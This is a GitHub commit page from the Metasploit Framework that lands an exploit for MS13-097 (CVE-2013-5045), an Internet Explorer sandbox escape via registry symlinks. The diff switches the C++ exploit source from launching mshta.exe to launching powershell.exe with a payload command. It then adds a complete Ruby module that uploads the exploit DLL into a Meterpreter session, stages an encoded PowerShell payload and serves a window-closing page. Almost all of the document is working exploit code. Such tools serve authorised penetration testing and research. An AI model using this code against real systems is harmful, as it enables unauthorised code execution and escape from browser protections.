Skip to content

Commit ce5d3b1

Browse files
committed
Land rapid7#3403 - MS13-097 Registry Symlink IE Sandbox Escape
2 parents 0b6f7e4 + 372a12b commit ce5d3b1

File tree

3 files changed

+124
-3
lines changed

3 files changed

+124
-3
lines changed
163 KB
Binary file not shown.

external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -112,8 +112,8 @@ void DoRegistrySymlink()
112112
throw 0;
113113
}
114114

115-
CreateRegistryValueString(hKey, L"AppName", L"mshta.exe");
116-
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory());
115+
CreateRegistryValueString(hKey, L"AppName", L"powershell.exe");
116+
CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0");
117117
CreateRegistryValueDword(hKey, L"Policy", 3);
118118

119119
bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";
@@ -156,7 +156,7 @@ void DoRegistrySymlink()
156156
CloseHandle(hSection);
157157
hSection = nullptr;
158158

159-
MyCreateProcess(GetWindowsSystemDirectory() + L"\\mshta.exe", L"mshta.exe " + GetExploitUrl(L"HTA_URL"));
159+
MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD"));
160160
}
161161
catch (...)
162162
{
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/exe'
9+
require 'msf/core/exploit/powershell'
10+
11+
class Metasploit3 < Msf::Exploit::Local
12+
Rank = GreatRanking
13+
14+
include Msf::Exploit::Powershell
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::Remote::HttpServer
17+
include Msf::Post::Windows::Priv
18+
19+
def initialize(info={})
20+
super( update_info( info,
21+
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
22+
'Description' => %q{
23+
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
24+
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
25+
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
26+
component, which can be abused to force medium integrity IE to user influenced keys.
27+
By using registry symlinks it's possible force IE to add a policy entry in the registry
28+
and finally bypass Enhanced Protected Mode.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'James Forshaw', # Vulnerability Discovery and original exploit code
34+
'juan vazquez' # metasploit module
35+
],
36+
'Platform' => [ 'win' ],
37+
'SessionTypes' => [ 'meterpreter' ],
38+
'Stance' => Msf::Exploit::Stance::Aggressive,
39+
'Targets' =>
40+
[
41+
[ 'IE 8 - 11', { } ]
42+
],
43+
'DefaultTarget' => 0,
44+
'DisclosureDate' => "Dec 10 2013",
45+
'References' =>
46+
[
47+
['CVE', '2013-5045'],
48+
['MSB', 'MS13-097'],
49+
['BID', '64115'],
50+
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
51+
]
52+
))
53+
54+
register_options(
55+
[
56+
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
57+
])
58+
end
59+
60+
def exploit
61+
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
62+
63+
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
64+
if mod_handle['return'] == 0
65+
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
66+
end
67+
68+
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
69+
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
70+
end
71+
72+
begin
73+
Timeout.timeout(datastore['DELAY']) { super }
74+
rescue Timeout::Error
75+
end
76+
77+
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)
78+
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)
79+
end
80+
81+
def primer
82+
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
83+
session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)
84+
85+
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
86+
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
87+
88+
temp = get_env('TEMP')
89+
90+
print_status("Loading Exploit Library...")
91+
92+
session.core.load_library(
93+
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
94+
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
95+
'UploadLibrary' => true,
96+
'Extension' => false,
97+
'SaveToDisk' => false
98+
)
99+
end
100+
101+
def on_request_uri(cli, request)
102+
if request.uri =~ /\.html$/
103+
print_status("Sending window close html...")
104+
close_html = <<-eos
105+
<html>
106+
<body>
107+
<script>
108+
window.open('', '_self', '');
109+
window.close();
110+
</script>
111+
</body>
112+
</html>
113+
eos
114+
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
115+
else
116+
send_not_found(cli)
117+
end
118+
end
119+
120+
end
121+

0 commit comments

Comments
 (0)